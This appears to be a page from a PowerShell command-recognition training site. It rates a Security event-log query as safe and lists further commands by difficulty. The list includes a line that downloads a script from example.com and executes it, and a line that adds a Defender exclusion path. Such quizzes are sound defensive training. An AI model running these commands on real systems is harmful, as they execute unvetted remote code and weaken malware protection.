Safe
Get-WinEvent -LogName Security -MaxEvents 50windows · powershell · Expert
Reads the fifty most recent Security event log entries. This is the first thing a responder runs when checking for suspicious logons, and it only reads from the event log service.
Think you can spot these under time pressure?
Start TrainingMore PowerShell
Add-MpPreference -ExclusionPath C:\Users\PublicExpertGet-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-ListExpertInvoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1ExpertGet-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberNightmareGet-ExecutionPolicy -ListIntermediateGet-Alias iex, irm, iwr | Select-Object Name, DefinitionAdvanced